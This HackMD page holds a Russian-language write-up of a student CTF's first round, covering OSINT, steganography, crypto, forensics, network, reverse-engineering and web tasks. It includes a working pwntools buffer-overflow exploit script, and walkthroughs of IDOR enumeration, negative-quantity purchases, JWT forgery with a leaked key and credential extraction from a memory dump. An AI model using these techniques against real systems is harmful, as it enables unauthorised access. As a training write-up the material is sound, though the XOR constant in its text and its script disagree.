menad
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # ООУИ 25/26. Первый тур [TOC] ## Osint ### Цитадель «Медный Ананас» #### Балл: 100 #### Описание: Агенты получают только фотографию фасада здания ![copper_skin](https://hackmd.io/_uploads/r1bkMEf7Wx.jpg) с медно-золотыми панелями и повторяющимся треугольным узором, а также легенду о «Медном доме» / «Ананасе», где скрывается Глот. Агенты! Мы загнали Глота в угол, но он залег на дно в одной из своих конспиративных квартир на Земле. Согласно перехваченным данным, пиратский барон выбрал для своего убежища здание с уникальной геометрией фасада. Местные жители называют это строение «Ананас» или «Медный дом» за его специфический цвет и текстуру. Структура здания блокирует наши сканеры, работая как клетка Фарадея. Чтобы найти уязвимость в чертежах и спланировать штурм, нам необходимо знать, кто спроектировал эту крепость. Глот доверяет только лучшим: известно, что архитектор носит титул Лорда и является автором знаковых футуристических сооружений по всему миру. **Миссия:** Вычислите архитектора этой цитадели. В качестве флага введите его **Фамилию** на английском языке. Формат флага: `CTF{Family}` Задача — по этой картинке и подсказкам найти реальный объект на Земле и установить фамилию архитектора, известного как лорд и автор футуристических зданий. #### Решение: Участники загружают `copper_skin.jpg` в обратный поиск по картинкам (Google Images / Яндекс / TinEye) и видят совпадающие фотографии современного здания с тем же фасадом. Дальнейший поиск по запросам вроде `copper facade pineapple building architect lord` выводит на статьи об этом объекте и его создателе. Из найденных материалов становится ясно, что архитектор — британский лорд с фамилией Foster, за которым числятся несколько знаковых футуристических проектов по всему миру. Фамилию записывают заглавными буквами в формате `CTF{Foster}` и получают флаг. ### Протокол «Зеркальная Оранжерея» #### Балл: 100 ##### Описание: Разбирая зашифрованные архивы в бункере Глота, профессор Селезнёв наткнулся на защищённый файл, помеченный символом «Цветок‑Зеркало». Согласно записям, это био‑ключ, открывающий доступ к навигационным картам пиратов. Система защиты «Медуза» работает по принципу ассоциативной памяти. Она выдала нам два фрагмента данных: - повреждённый снимок растения из оранжереи Глота; - фрагмент описания из древнего земного архива, который пираты использовали как кодовую книгу: *(«… тропические регионы Америки. Там её называют "мексиканской астрой". Известно более 40 видов этого растения, преимущественно однолетников.»)* Чтобы взломать защиту, нужно восстановить целостность этих данных: - определить, о каком цветке идёт речь, и найти номер архивной записи, из которой взят этот текст. ##### Решение: Участники открывают Cosmos.jpg и в обратный поиск по картинкам (Google Images / Яндекс / TinEye) и видят совпадающие фотографии цветка, космея. Далее они берут из условия ключевые слова цитаты — «мексиканская астра», «тропические регионы Америки», «известно более 40 видов, преимущественно однолетников» — и вбивают их в поиск; После этого участники ищут саму цитату целиком в электронных ботанических справочниках/энциклопедиях, ![Снимок экрана 2025-12-13 в 02.07.16](https://hackmd.io/_uploads/ByFEe79MZl.png) пока не находят нужную статью, где этот абзац приведён дословно и имеет конкретный номер записи — 162. Используя формат из условия, они подставляют название растения и номер записи в шаблон флага и получают ответ вида `CTF{Космея162}`. ## Stegano ### Зеркальная Библиотека ##### Описание: Среди цифровых архивов Хранителей нашли странный документ формата DOCX. Говорят, что писец спрятал в нём ключ, используя искажённые буквы и зеркальные изображения. Говорят, что две одинаковые картинки никогда не бывают полностью идентичны. ##### Решение: 1. **Скачиваем файл и ищем пароль в тексте.** Берём файл из сервиса: Открываем `zagadka.docx` в Word / LibreOffice и внимательно читаем текст. Часть букв выделена *курсивом* — если выписать только эти наклонные буквы подряд, получается осмысленное слово, например: PixelKey42 Это и есть пароль к скрытому архиву, который нам понадобится дальше. 2. **DOCX распаковываем как ZIP и находим картинку.** DOCX — это zip‑архив, поэтому: mkdir out_docx unzip zagadka.docx -d out_docx ls out_docx/word/media В каталоге `out_docx/word/media` находим файл `image1.jpeg`. Легенда про «зеркальные изображения» и подсказка в описании намекают, что именно в этой картинке спрятан следующий уровень. **Смотрим тело JPEG: по сигнатурам видно, что внутри лежат ещё файлы.** Для начала просто смотрим хвост файла через `xxd`: cd out_docx/word/media xxd image1.jpeg | tail В конце файла помимо обычных байт JPEG видны читаемые строки: ....image1.png....PK... ....image2.png....PK... То есть **внутри JPEG явно встречаются имена `image1.png` и `image2.png`, а также сигнатуры `PK`**, которые используются в ZIP‑архивах. Уже по этому можно догадаться, что к картинке пришит архив с двумя PNG. 3. **Определяем границу JPEG и пришитого хвоста.** Смотрим файл через `binwalk`, чтобы узнать реальный размер JPEG: cd out_docx/word/media binwalk image1.jpeg Вывод показывает строку вида: 0 0x0 JPEG image, total size: 498804 bytes Это значит: первые 498804 байта — корректный JPEG, а всё, что идёт после, — дополнительные данные (у нас туда приписан ZIP‑архив с PNG). 4. **Отрезаем хвост и сохраняем его как ZIP.** Сохраняем размер JPEG в переменную и вырезаем хвост: OFFSET=498804 dd if=image1.jpeg of=hidden.zip bs=1 skip=$OFFSET Теперь `hidden.zip` содержит только пришитый архив. Проверяем: file hidden.zip 5. **Распаковываем ZIP с найденным паролем.** Создаём отдельную папку и распаковываем архив, используя пароль из шагa 1: mkdir hidden_zip cd hidden_zip 7z x ../hidden.zip # при запросе вводим пароль PixelKey42 ![Снимок экрана 2025-12-13 в 03.22.18](https://hackmd.io/_uploads/HyRa-4qM-l.png) В каталоге появляются два файла — `image1.png` и `image2.png`. Визуально они практически идентичны: это и есть «зеркальные» картинки, в отличиях которых закодирован флаг. 6. **Извлекаем LSB красного канала и восстанавливаем флаг.** По коду/подсказке известно, что флаг спрятан в младших битах красного канала второй картинки относительно первой. Пишем небольшой скрипт на Python: #!/usr/bin/env python3 """ Декодер LSB стеганографии из двух PNG изображений image1.png - базовое изображение (шум) image2.png - модифицированное с флагом в LSB первого канала """ import sys from PIL import Image import numpy as np import io def extract_flag_from_images(img1_path: str, img2_path: str) -> str: """ Извлекает флаг из LSB стеганографии двух PNG изображений Читает младшие биты (LSB) первого канала image2.png """ print(f"[+] Загружаем изображения: {img1_path}, {img2_path}") # Загружаем изображения img1 = Image.open(img1_path).convert('RGB') img2 = Image.open(img2_path).convert('RGB') print(f"[+] Размеры: {img1.size} -> массив {np.array(img1).shape}") # Конвертируем в numpy массивы base = np.array(img1) mod = np.array(img2) print(f"[+] Извлекаем LSB биты из первого канала image2.png...") # Собираем все LSB биты из первого канала (R) modified изображения # Порядок не важен - собираем все подряд bits = [] h, w = mod.shape[:2] for y in range(h): for x in range(w): # LSB первого канала (красный) bit = mod[y, x, 0] & 1 bits.append(str(bit)) bit_string = ''.join(bits) print(f"[+] Собрано {len(bit_string)} бит ({len(bit_string)//8} байт)") # Преобразуем биты в символы flag = '' for i in range(0, len(bit_string), 8): byte_bits = bit_string[i:i+8] if len(byte_bits) < 8: break byte = int(byte_bits, 2) char = chr(byte) flag += char # Останавливаемся на конце флага if char == '}': break return flag.strip() def main(): if len(sys.argv) != 3: print("Usage: python3 lsb_decoder.py image1.png image2.png") print("image1.png - базовое (не обязательно для декодирования)") print("image2.png - содержит флаг в LSB") sys.exit(1) img1_path, img2_path = sys.argv[1], sys.argv[2] try: flag = extract_flag_from_images(img1_path, img2_path) print(f"\n🎉 ФЛАГ: {flag}") # Проверка формата if flag.startswith("CTF{") and flag.endswith("}"): print("✅ Формат флага корректный") else: print("⚠️ Возможная ошибка в извлечении") except Exception as e: print(f"[-] Ошибка: {e}") print("\nПроверьте:") print("- Правильные ли файлы PNG") print("- Одинаковые ли размеры изображений") print("- Не повреждены ли файлы") if __name__ == "__main__": main() Скрипт пробегает по всем пикселям, собирает младшие биты там, где различаются красные компоненты, группирует по 8 бит и переводит в ASCII. На выходе получаем строку вида: CTF{LIBRARY_KEEPER_AB3c42dEF} ## Crypto ### Перехват у Гидры: Ключ ГОРГОНЫ ###### Описание: Дрон‑разведчик АКБ перехватил шифрограмму картинкой, передававшуюся между кораблями картеля Глота. Послание зашифровано с помощью шифра ГОРГОНЫ — подстановочной системы, в которой каждую букву латинского алфавита заменили тактическими пиктограммами. Разведка уже восстановила полный алфавит шифра и передала его командам в виде таблицы соответствий «буква → символ», однако само сообщение остаётся записанным только набором этих знаков. Командам предстоит, используя выданный алфавит ГОРГОНЫ, расшифровать перехваченное графическое сообщение и извлечь кодовое имя операции картеля. #### Решение: Участники открывают изображение‑алфавит (таблица ГОРГОНЫ) и фиксируют, какой тактический символ соответствует каждой букве: треугольник, круг, квадрат, крест, волны, стрелка и т.д. Затем последовательно просматривают картинки с шифрограммой и для каждого нарисованного значка по таблице подбирают букву, выписывая результат в строку. После посимвольной замены всех пиктограмм получается осмысленный текст формата `HYDRA_GORGON_XXXXXX`, где шесть заглавных букв в конце — уникальный идентификатор операции . Флаг: `CTF{HYDRA_GORGON_XXXXXX}` — вместо `XXXXXX` подставляется полученная при расшифровке последовательность шести заглавных латинских букв, что соответствует шаблону `CTF{HYDRA_GORGON_[A-Z]{6}}`. ### Шифр Глота: Протокол «АГЕНТ» ##### Описание: Сервис выдаёт файл `pirate_note.txt` с последовательностью чисел от 0 до 25 — это шифротекст, полученный аффинным шифром по алфавиту A–Z. Из легенды известно, что открытый текст начинается со слова `AGENTIS`, а дальше идёт имя предателя; флаг имеет формат `CTF{AGENTXXXXXXXXXX}`, где десять последних букв генерируются динамически и ограничены регуляркой `CTF{AGENTIS[A-Z]{8}}`. ##### Решение: 1. **Понимаем модель шифрования и кодировку букв.** В хинте дана формула: аффинный шифр работает как \(E(x) = (a * x + b) mod 26\), где каждой букве сопоставлено число A=0, B=1, ..., Z=25. Задача сводится к нахождению коэффициентов \(a\) и \(b\) по известному префиксу `AGENT` и затем применению обратной формулы \(D(y) = a^{-1} * (y - b) mod 26\) ко всем числам в `pirate_note.txt`. 2. **Находим \(a\) и \(b\) по известному началу `AGENT`.** Переводим `AGENT` в числа: A=0, G=6, E=4, N=13, T=19 и берём первые пять чисел из `pirate_note.txt` как \(y_1..y_5\). Для первой буквы A: \(a*0 + b ≡ y_1 (mod 26)\) ⇒ сразу получаем \(b = y_1\); для второй буквы G: \(6a + b ≡ y_2 (mod 26)\), подставляя \(b\), решаем сравнение по модулю 26 (перебором допустимых a, взаимно простых с 26) и находим конкретное значение \(a\) — в коде генератора это \(a = 5\), \(b = 8\). 3. **Находим обратный коэффициент \(a^{-1}\) и формулу расшифровки.** Чтобы «разделить на \(a\)» в модульной арифметике, ищем число \(a^{-1}\), удовлетворяющее \(a * a^{-1} ≡ 1 (mod 26)\); для \(a = 5\) это \(a^{-1} = 21\), так как \(5 * 21 = 105 ≡ 1 (mod 26)\).[file:39] Тогда формула дешифровки для любого числа \(y\) из файла: \(x = 21 * (y - 8) mod 26\), где \(x\) — номер буквы в открытом тексте (0–25), который затем переводится обратно в символ A–Z. 4. **Расшифровываем все числа и собираем флаг.** Пробегаем по всей последовательности из `pirate_note.txt`, для каждого числа \(y\) считаем \(x = 21 * (y - 8) mod 26\) и преобразуем \(x\) в букву латинского алфавита; на выходе получается строка длиной 15 символов вида `AGENTISXXXXXXXX`. ## Forensic ### Зеркало Архива: Следы Третьей Планеты #### Балл: 200 #### Описание: Во время расследования на орбитальной станции был обнаружен повреждённый архив, который, по словам чат-птицы Говоруна, является одним из редких цветов-зеркал — устройств, фиксирующих события прошлого. Этот артефакт когда-то принадлежал исследователям системы Медузы, но, похоже, пираты Глота успели поработать с ним, пытаясь стереть важные улики. Командам предстоит проанализировать предоставленный архив, восстановить его структуру и обнаружить скрытое сообщение, оставленное неизвестным союзником внутри слоёв данных. Найденный флаг — это не просто ключ: это часть хроники, способная раскрыть очередной фрагмент заговора пиратского картеля. #### Решение: Просматриваем файлы в архиве, в каждом файле записан случайный текст. Можем предположить, что в каком-то из файлов будет записан флаг. Но даже если мы спарсим всем файлы, то флага не найдём. Вспоминаем, что в архиве можно оставлять комментарии к файлам, возмользуемся утилитой `zipinfo` и посмотрим комменты. ![image](https://hackmd.io/_uploads/SkZGD2_GWe.png) Находим 1 коммент, который содержит hex-строку, декодим любымем методом, инвертируем и получаем флаг ![image](https://hackmd.io/_uploads/Sko7PhOMZx.png) ### Цветы-зеркала: Эхо диамантовой черепашки ##### Описание: На борту Пегаса сработали цветы-зеркала — они успели сохранить образ фрагмента файловой системы перед тем, как диамантовая черепашка Глота попыталась стереть следы своего присутствия. Громозека выгрузил снапшот в виде образа диска и передал его вам. Ваша задача — восстановить удалённые данные и найти код активации черепашки. **Формат флага:** `CTF{<Текст>}` ##### Решение: 1. **Скачиваем образ с сервера и определяем тип.** file pegasus_turtle_snapshot.img `file` показывает, что это образ файловой системы ext4 (`Linux rev 1.0 ext4 filesystem`), значит его можно смонтировать как loop‑устройство.[file:38] sudo mkdir /mnt/turtle sudo mount -o loop pegasus_turtle_snapshot.img /mnt/turtle ls /mnt/turtle В корне видим несколько текстовых файлов: `meduza_report.txt`, `system.log`, `network_scan.txt`, `process_list.txt`. Из названия понятно, что нас интересует отчёт `meduza_report.txt`.[file:5] 3. **Читаем отчёт и находим base64‑строку.** cat /mnt/turtle/meduza_report.txt Внутри файла — псевдолог инцидента и строка вида: Classified Access Code : Q1RGe1RVUlRMRV9BQjNjNDJlZEZGfQ== Комментарии внизу файла прямо подсказывают, что это код активации, закодированный стандартным base64 и подлежащий расшифровке. 4. **Декодируем base64 и получаем флаг.** Копируем base64‑строку и декодируем любым способом, например командой `base64`: echo 'Q1RGe1RVUlRMRV9BQjNjNDJlZEZGfQ==' | base64 -d На выходе получаем строку формата: CTF{TURTLE_AB3c42dEF} Эту строку и отправляем как флаг. ## Network ### Следы пиратского вторжения #### Балл: 250 #### Описание: Громозека перехватил сетевой трафик с одного из серверов системы Медузы. Похоже, что пираты Глота провели успешную атаку и похитили важные данные. Проанализируйте захваченный трафик и восстановите хронологию атаки. Найдите все детали вторжения: IP-адрес злоумышленника, его действия и украденную информацию. #### Решение: Подключаем к серверу и видим, что нам надо ответить на вопросы. Открываем дамп трафика через wireshark и анализируем. Посмотрим сколько хостов попало в трафик. ![image](https://hackmd.io/_uploads/BkmqK6Wfbg.png) 3 хоста в одной подсети - `192.168.0.1`, `192.168.0.23`, `192.168.0.24` Дальше посмотрим протоколы которые использовались ![image](https://hackmd.io/_uploads/r1eG56bG-l.png) В первую очерерь посмотри TCP пакеты, отбросим TLS ,так как он шифрованный. Фильтруем по ssh и видим что `192.168.0.23` сканировал SSH через nmap. Если мельком просмотреть все пакеты, то будет видно, что nmap'ом он сканил хост `192.168.0.24`. ![image](https://hackmd.io/_uploads/rJaF5p-MZx.png) Фильтруем по data и видим, что `192.168.0.23` через `4444` порт отпрвлял команды на другой хост. ![image](https://hackmd.io/_uploads/S1kvjTWf-e.png) Отфильтьруем по TCP потоком и находим, что злоумышленник прочитал файл `/home/user/Desktop/flag.txt` ![image](https://hackmd.io/_uploads/rJQk2p-zZg.png) Смотрим другие потоки, злоумышленник закрепился на хосте вписав свой ssh ключ, отсюда узнаём что его username - `j.ross` ![image](https://hackmd.io/_uploads/rJ4VnpWMbe.png) Находим потом, где он удаляет `.bash_history` ![image](https://hackmd.io/_uploads/Hk3Y26bGZg.png) Отправляем ответы на сервер и получаем флаг! ![image](https://hackmd.io/_uploads/Hy-3npZz-l.png) ### Цветы-зеркала: Шепот пиратов Глота #### Балл: 150 #### Описание: Во время разведки на борту корабля «Пегас» робот Громозека активировал цветы-зеркала — сенсоры АКБ, фиксирующие каждый байт сетевого трафика. Пиратский дрон картеля Глота пытался установить скрытый канал связи с внешним узлом, маскируя управляющие команды под обычный HTTP‑трафик. Командам предстоит проанализировать перехваченный PCAP‑дамп и вытащить уникальный код активации пиратского дрона, спрятанный в потоке данных. #### Решение: Просматриваем дамп в Wireshark и фильтруем HTTP‑трафик между `10.0.0.42` и `198.51.100.5`. Ищем HTTP‑ответ `200 OK` с текстовым телом, в котором присутствует строка вида `activation_code=<что‑то_подозрительное>`. Находим поле `activation_code`, видим, что значение похоже на base64‑строку. ![Снимок экрана 2025-12-12 в 12.50.49](https://hackmd.io/_uploads/S1J9SDtG-g.png) Декодируем её любым инструментом (например, Python, CyberChef или `base64 -d`) и получаем флаг формата ![Снимок экрана 2025-12-12 в 12.51.45](https://hackmd.io/_uploads/BkU6SDFGZx.png) ## PWN ### Взлом терминала Глота #### Балл: 200 #### Описание: Громозека обнаружил незащищенный терминал пиратского картеля Глота в системе Медузы. Пираты оставили свой сервер без присмотра, и теперь у вас есть шанс получить доступ к их секретам. Глот добавил базовую защиту от переполнения буфера, но его реализация содержит критическую уязвимость. Найдите способ обойти защиту и получить контроль над выполнением программы, чтобы вызвать секретную функцию доступа к архиву пиратского картеля. #### Решение: Анализируем бинарник ![image](https://hackmd.io/_uploads/S1Gy0a-MZx.png) Закидываем бинарник в IDA. Ищем функцию `main` и видим в ней функцию `check_authorization` ![image](https://hackmd.io/_uploads/rkZc0TWfWl.png) Открываем её и разбираемся в её логике ![image](https://hackmd.io/_uploads/rkkLkCbGZg.png) Замечаем, что `j_strcpy_ifunc(buffer, input_text);`, копирует `input_text` в `buffer`, буфер размером 64 байта и может быть переполнен. Смотрим дальше и находим функцию `access_pirate_archive()` которая выводит флаг ![image](https://hackmd.io/_uploads/SJvdl0ZzWl.png) Мы можем перезаписать адресс возврата функции `check_authorization()` на адресс возврата `access_pirate_archive()` Посчитаем офсет до адресса возврата - 64b буфер + 8b фейковая канарейка + 4b падинг + 4b EBR, получаем 80 байт до адресса возврата Найдём адресс функции `access_pirate_archive()`, можно скопировать из IDA, но для наглядности воспользуемся утилитой `objdump` ![image](https://hackmd.io/_uploads/HJ0TMC-fWg.png) Теперь напишем сплойт, который достанем нам флаг ```python #!/usr/bin/env python3 from pwn import * HOST = 'localhost' PORT = 1337 def exploit(): conn = remote(HOST, PORT) conn.recvuntil('Введите код доступа: '.encode()) access_pirate_archive_addr = 0x0804cb65 offset = 80 payload = b'A' * offset + p32(access_pirate_archive_addr) conn.sendline(payload) try: response = conn.recvall(timeout=2) print(response.decode()) except: print(conn.recv().decode()) conn.close() if __name__ == '__main__': exploit() ``` Пробросим порт через sicat, чтобы мы могли подключится через pwn ![image](https://hackmd.io/_uploads/S1-sUkcfWe.png) Запускаем сплойт и забираем флаг ![image](https://hackmd.io/_uploads/SyLHQAbfWx.png) ## Reverse ### Шпионский Узел Третьей Планеты #### Балл: 150 #### Описание: При обследовании заброшенного узла связи на орбите третьей планеты экспедиция Громозеки обнаружила странный артефакт — миниатюрный вычислительный модуль, скрытый в корпусе диамантовой черепашки. По данным Птицы-говоруна, такие устройства пиратский картель использует как шпионские закладки: они перехватывают трафик, собирают ключи доступа и периодически передают отчёты Глоту. Но этот экземпляр повреждён, и его программный код частично зашифрован. Чтобы понять, какие данные он успел украсть и куда отправляет отчёты, вам предстоит получить доступ к учетке высшего уровня. Говорят, что архитекторы Медузы называли такие структуры “цветами-зеркалами”… Возможно, в глубине кода вы увидите отражение истинного флага. #### Решение: Запускаем python-программу и видим, что можем логинится и регистрироваться, из здания узнаём, что нам надо получить доступ к учётке высшего уровня, то есть к admin. Python код обфусцирован с помощью pyarmor, и деобфусцировать быстро нам это скорее всего не удасться. Попробуем сделать memdump процесса, может какие нибудь данные утекуп в память. Я буду использовать `System Informer`. Делаем кастомный дамп с такими настройками. ![image](https://hackmd.io/_uploads/S1I5SC-GWg.png) ```bash strings python.exe.dmp | grep pyarmor_runtime.pyd -A 10 -B 10 ``` Чтобы не просматривать весь дамп, попробуем отфильтровать по `pyarmor_runtime.pyd`, ведь он подгружается для запуска программы, так мы сузим область памяти. Чуть полистав, находим логин и пароль от учётки. ![image](https://hackmd.io/_uploads/HkoEwC-G-x.png) Логинимся и получаем заметку в hex, декодим и получаем флаг. ![image](https://hackmd.io/_uploads/HJ5p-Jqzbl.png) ![image](https://hackmd.io/_uploads/rkLJzycfZe.png) ### Модуль шифрования пиратов #### Балл: 300 #### Описание: Экспедиция нашла исполняемый файл модуля шифрования и зашифрованный файл с данными. Ваша задача — проанализировать бинарный файл, чтобы расшифровать данные и получить флаг. #### Решение: Скачиваем зашифрованный файл и шифратор. Для разнообразия теперь воспользуемя `Ghidra` дизассеблером. В `main` видим такие функции `get_encryption_key()`, `get_iv()`, `encrypt_data()`. ![image](https://hackmd.io/_uploads/r1RdtRbG-x.png) Функция `encrypt_data()`, шифрует данные AES-256-CBC ![image](https://hackmd.io/_uploads/S1_N9AbfWx.png) Функция `get_iv()`, берёт заданный IV `THIRD_PLANET_IV`, проверяет его длинну, если она меньше 16, то он дублирует строку, если строка проходит проверну, то он обрезает её до 16 символом. Так как длинна стандартного IV 15, то мы получаем `THIRD_PLANET_IVTHIRD_PLANET_IV`, а потом обрезается до `THIRD_PLANET_IVT` ![image](https://hackmd.io/_uploads/BJzeiCbMWx.png) Функция `get_encryption_key()`, берёт строку `MEDUSA_SYSTEM_KEY_2024`, по символьно проходится по строке и ксорит c числом 42. Потом дополняет строку, так же как и IV. ![image](https://hackmd.io/_uploads/HJ8wnRZMZg.png) Теперь мы можем попробовать рассшифровать файл, напишем простенький python-скрипт. ```python from Crypto.Cipher import AES from Crypto.Util.Padding import unpad base_key = "MEDUSA_SYSTEM_KEY_2024" key_str = bytearray(base_key.encode()) for i in range(len(key_str)): key_str[i] ^= 0x42 key = bytes(key_str) while len(key) < 32: key += key key = key[:32] base_iv = "THIRD_PLANET_IV" iv = base_iv.encode() while len(iv) < 16: iv += iv iv = iv[:16] with open("mirror_flower.dat", "rb") as f: ciphertext = f.read() cipher = AES.new(key, AES.MODE_CBC, iv) plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size) print(plaintext.decode()) ``` Запускаем и получаем флаг. ![image](https://hackmd.io/_uploads/rkrUTAWGZl.png) ## Web ### Архив Знаний Системы Медузы #### Балл: 100 #### Описание: При анализе архива знаний системы Медузы обнаружена аномалия. Птица-говорун подсказывает, что это может быть работа пиратского картеля — они часто скрывают свои сообщения, используя различные техники обхода фильтров. Громозека поручил вам расследовать это дело. Используйте свои навыки веб-исследования, чтобы найти секретную информацию пираткого картеля. #### Решение: На главной странице видим записи из архива оставленные пользователем gromozeka. Можем перейти ему в профиль. ![image](https://hackmd.io/_uploads/SkgSykzz-g.png) Замечаем что в url передаёт id пользователя напрямую, проверим так ли это, зарегистрируемся и у нас тоже будет id в виде int значения. ![image](https://hackmd.io/_uploads/rJhjkJMGbg.png) Попробуем перебрать значения, может есть ещё какие нибуль аккаунты, я буду использовать Intruder в Burp Suite. Сортируем по статус коду и находим аккаунт с id 1337. ![image](https://hackmd.io/_uploads/S1z7lJGMbg.png) В заметках аккаунта находим флаг. ![image](https://hackmd.io/_uploads/HybvxkMfWx.png) ### Магазин артефактов Громозеки #### Балл: 200 #### Описание: Громозека открыл магазин космических артефактов для экспедиции. В магазине можно купить различные товары, включая легендарный Артефакт Древних, содержащий формулу абсолютного топлива. Заполучите эту формулу любой ценной! #### Решение: Зарегистрируем аккаунт и попробуем что нибудь купить на начальный баланс. Смотрим запрос который был послан на сервер. ![image](https://hackmd.io/_uploads/BkyE-1MMZe.png) Попробуем купить отрицателное значение товаров. Зарегистрируем новый аккаунт и поменяем куки. Отправялем запрос и видимо, что сервер успешно обработал наш запрос и начислил нам валюту. ![image](https://hackmd.io/_uploads/Hy6cb1MM-x.png) Теперь мы просто можешь купить `Артефакт Древних` и получить флаг! ![image](https://hackmd.io/_uploads/BkWpbkfGWg.png) ### Стена связи Громозеки #### Балл: 300 #### Описание: Громозека сделал свою стену связи для экспедиции и оставил ключ у себя в профиле. Но вот не задача, но забыл пароль от аккаунта. Помогите ему получить доступ к аккаунту и заполучите ключ! #### Решение: Из задания следует, что нам надо получить доступ к аккаунту `gromozeka`. Зарегистрируемся и посмотрим какой функционал у нас есть. Но нам ничего не доступно. Попробум посканить директории на сайте. Я воспользуюсь `dirsearch` со стандартным словарём. ![image](https://hackmd.io/_uploads/Bk4R4yzGZx.png) У нас нашлась директория `logs/`, а в ней файл логов `system.log`. Просматривая логи натыкаемся на утёкший JWT ключ. ![image](https://hackmd.io/_uploads/BJwVrkzGbl.png) Мы можем подписывать куки, воспользуемся сервисом jwt.io. Поменяем `sub` на `gromozeka`, а `role` на `admin`. ![image](https://hackmd.io/_uploads/Byb6SJzGbx.png) Меняем нашу куку на куку админа, заходим в профиль и забираем флаг. ![image](https://hackmd.io/_uploads/r1BY8kfM-e.png) ## Misc ### На борт! #### Балл: 1 #### Описание: Добро пожаловать на борт! Вот ваш первый флаг: `CTF{Innopolis25flag}` #### Решение: Сдать флаг из условия ### Едем на космодром! #### Балл: 100 #### Описание: Наш специальный Агент "Т" уже выехал к космодрому и готовится ко взлёту. Кстати, во время поездки в Москву он делал фото по ходу движения поезда. Можешь ли ты узнать, на каком именно пригородном поезде он ехал? Нужен номер рейса / номер поезда #### Решение: Посмотреть мета-данные картинок, и сопоставить эти даты время с названием станций в Яндекс.Расписании ![image](https://hackmd.io/_uploads/Hk59SVjGbg.png) По таким временным интервалам есть только один поезд ![image](https://hackmd.io/_uploads/HkM3BNizWg.png)

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
